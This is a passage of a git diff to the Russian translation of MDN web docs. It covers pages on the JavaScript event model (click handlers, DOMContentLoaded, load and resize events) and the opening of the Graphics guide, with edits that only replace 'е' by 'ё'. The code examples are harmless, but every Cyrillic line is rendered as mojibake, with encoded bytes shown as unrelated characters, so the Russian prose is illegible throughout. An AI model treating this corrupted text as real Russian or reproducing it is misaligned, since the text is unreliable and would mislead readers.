ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ события ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ.</p>
+<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ измСняСт послСдниС шаги, пСрСходя от простого ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΊ бСсконСчному Ρ†ΠΈΠΊΠ»Ρƒ, Π³Π΄Π΅ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ ΠΈ обработка возникновСния Π½ΠΎΠ²Ρ‹Ρ… событий слСдуСт Π·Π° отрисовкой. Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ динамичСского ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° позволяСт страницС Π±Ρ‹Ρ‚ΡŒ частично ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½ΠΎΠΉ, Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ всСх рСсурсов; это Ρ‚Π°ΠΊ ΠΆΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ для дСйствий, управляСмыми событиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ JavaScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚. (Π Π΅Ρ‡ΡŒ доступна Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… рСсурсах, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, всС срСды исполнСния JavaScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ события ΠΈ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ.</p>
<h2 id="Π¨Π°Π±Π»ΠΎΠ½_проСктирования_событий">Π¨Π°Π±Π»ΠΎΠ½ проСктирования событий</h2>
@@ -58,9 +58,9 @@ buttonDOMElement.addEventListener('click', example_click_handler);</pre>
<p>{{ EmbedLiveSample('Button_Event_Handler') }}</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ полагаСтся Π½Π° соглашСниС о Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ сущСствуСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄ события, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉΒ <code>'click'</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ (ΠΈΠ»ΠΈΒ 'ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ') с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ-Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌΒ <code>Event</code>Β (Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Π² этом случаС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹ΠΉ ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>MouseEvent</code>Β ) ΠΈΒ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ послС манипуляций ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с элСмСнтами <code>button</code>Β Π½Π° HTML-страницС. Код Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ воздСйствия, ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π° элСмСнт HTML ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Π½Π° Π»Π΅Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈΠ»ΠΈ устанавливаСт ΠΏΠ°Π»Π΅Ρ† ΠΈΠ»ΠΈ стилус Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ мСсто Π½Π° экранС, Π²Ρ‹ΡˆΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ; ΠΊΠΎΠ³Π΄Π° это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚,Β <code>buttonDOMElement</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° JavaScriptΒ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>example_click_handler</code> с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ <code>Event</code>Β Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Ѐункция, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, исполнит Π»ΡŽΠ±Ρ‹Π΅ дСйствия, описанныС программистом, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΎΡ‚Ρ€Ρ‹Π² Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ HTML. Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>ev</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‚ пСрСдаСтся Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°; ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ событиС, Π² частности врСмя Π΅Π³ΠΎ возникновСния.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ полагаСтся Π½Π° соглашСниС о Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ сущСствуСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄ события, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉΒ <code>'click'</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ (ΠΈΠ»ΠΈΒ 'ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ') с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ-Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌΒ <code>Event</code>Β (Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Π² этом случаС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹ΠΉ ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>MouseEvent</code>Β ) ΠΈΒ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½ послС манипуляций ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с элСмСнтами <code>button</code>Β Π½Π° HTML-страницС. Код Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ воздСйствия, ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π° элСмСнт HTML ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Π½Π° Π»Π΅Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈΠ»ΠΈ устанавливаСт ΠΏΠ°Π»Π΅Ρ† ΠΈΠ»ΠΈ стилус Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ мСсто Π½Π° экранС, Π²Ρ‹ΡˆΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ; ΠΊΠΎΠ³Π΄Π° это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚,Β <code>buttonDOMElement</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° JavaScriptΒ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>example_click_handler</code> с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ <code>Event</code>Β Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Ѐункция, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, исполнит Π»ΡŽΠ±Ρ‹Π΅ дСйствия, описанныС программистом, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΎΡ‚Ρ€Ρ‹Π² Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎΒ HTML. Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>ev</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‚ пСрСдаётся Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°; ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ событиС, Π² частности врСмя Π΅Π³ΠΎ возникновСния.</p>
-<p>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅,Β ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ Π² web-страницу Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ соврСмСнный JavaScript ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ Π² событийный Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΒ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π°Β HTML Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΈ доступСн для измСнСния ΠΈΠ»ΠΈ дСкорирования. НапримСр, ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ объявлСн Ρ‚Π°ΠΊ:</p>
+<p>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅,Β ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ Π² web-страницу Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ соврСмСнный JavaScript ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ Π² событийный Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΒ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π°Β HTML Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΈ доступСн для измСнСния ΠΈΠ»ΠΈ дСкорирования. НапримСр, ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ объявлСн Ρ‚Π°ΠΊ:</p>
<pre class="brush: js">var funcInit = function(){
// user code goes here and can safely address all the HTML elements from the page
@@ -69,7 +69,7 @@ buttonDOMElement.addEventListener('click', example_click_handler);</pre>
document.addEventListener('DOMContentLoaded', funcInit);
</pre>
-<p>Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ этот ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>document</code>Β Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ событиС <code>'DOMContentLoaded'</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ HTML Π±Ρ‹Π» ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π±Ρ‹Π»ΠΈ созданы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β Javasript,Β Β  ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅Β ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π»Β HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΊΠΎΠ΄ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ события Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ Ρ‚ΠΎΠΌΡƒ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ понадобится ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, описанныС Π² Π½Π΅ΠΌ; скорСС, ΠΊΠΎΠ΄ всСго лишь Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ°Β Π½Π΅ случится событиС.</p>
+<p>Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ этот ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>document</code>Β Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ событиС <code>'DOMContentLoaded'</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ HTML Π±Ρ‹Π» ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π±Ρ‹Π»ΠΈ созданы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β Javasript,Β Β  ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅Β ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π»Β HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΊΠΎΠ΄ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ события Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ Ρ‚ΠΎΠΌΡƒ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ понадобится ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, описанныС Π² Π½Π΅ΠΌ; скорСС, ΠΊΠΎΠ΄ всСго лишь Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ°Β Π½Π΅ случится событиС.</p>
<p>Π¨Π°Π±Π»ΠΎΠ½ Π»Π΅Π³ΠΊΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ. Π‘Π»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ с событиями Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΈΠ·-Π·Π° нСобходимости ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒΒ Π±ΠΎΠ»ΡŒΡˆΠΎΠ΅ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ событий,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСдставлСны Π² соврСмСнных web-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’Π°ΠΊ ΠΆΠ΅ Π΅ΡΡ‚ΡŒ нСкоторая ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π² ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠΈ, ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ асинхронно ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ Π²Ρ‹Π·Π²Π°Π½ нСсколько Ρ€Π°Π· подряд, Π½ΠΎ Π² Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ситуации.</p>
@@ -100,7 +100,7 @@ document.addEventListener('DOMContentLoaded', funcInit);
<li>Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <a href="/en-US/docs/Web/API/Window"><code>window</code></a> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ событиС, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅Β <a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)"><code>'load'</code></a>, ΠΊΠΎΠ³Π΄Π° страница Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π° Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³, подразумСвая, Ρ‡Ρ‚ΠΎ всС рСсурсы Π±Ρ‹Π»ΠΈ скачаны ΠΈΒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ скрипт Π±Ρ‹Π» Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ ΠΈ изобраТСния ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Ρ‹,</li>
<li>Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <a href="/en-US/docs/Web/API/Window"><code>window</code></a> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ событиС, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅Β <a href="/en-US/docs/Web/Reference/Events/resize"><code>'resize'</code></a>, ΠΊΠΎΠ³Π΄Π° высота ΠΈΠ»ΠΈ ΡˆΠΈΡ€ΠΈΠ½Π° ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π±Ρ‹Π»Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ,</li>
<li>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ DOMΒ <a href="/en-US/docs/Web/API/Document"><code>document</code></a>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉΒ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ событиС, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ <code><a href="/en-US/docs/Web/Reference/Events/DOMContentLoaded">'DOMContentLoaded'</a></code>, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ,</li>
- <li>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡƒΠ·Π»Π°Β DOM, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊΒ <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ событиС,Β Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅Β <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Β ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ, ΠΏΠΎΠΊΠ° Π΅Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ находится ΠΏΠΎΠ²Π΅Ρ€Ρ… ΡƒΠ·Π»Π° DOMΒ Π½Π° HTML-страницС.</li>
+ <li>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡƒΠ·Π»Π°Β DOM, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊΒ <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ событиС,Β Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅Β <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Β ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ, ΠΏΠΎΠΊΠ° Π΅Ρ‘ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ находится ΠΏΠΎΠ²Π΅Ρ€Ρ… ΡƒΠ·Π»Π° DOMΒ Π½Π° HTML-страницС.</li>
</ul>
diff --git a/files/ru/web/guide/graphics/index.html b/files/ru/web/guide/graphics/index.html
index 600c9cd4dd..70c4cc4c20 100644
--- a/files/ru/web/guide/graphics/index.html
+++ b/files/ru/web/guide/graphics/index.html
@@ -4,7 +4,7 @@ slug: Web/Guide/Graphics
translation_of: Web/Guide/Graphics
original_slug: Web/Guide/Π“Ρ€Π°Ρ„ΠΈΠΊΠ°
---
-<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ Π²Π΅Π±-сайтам ΠΈ Π²Π΅Π±-прилоТСниям часто трСбуСтся ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ. БтатичСскиС изобраТСния Π»Π΅Π³ΠΊΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("img")}}, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS свойства  {{cssxref("background-image")}}. Часто трСбуСтся ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π½Π° Π»Π΅Ρ‚Ρƒ, ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ послС. Как это ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ….</p>
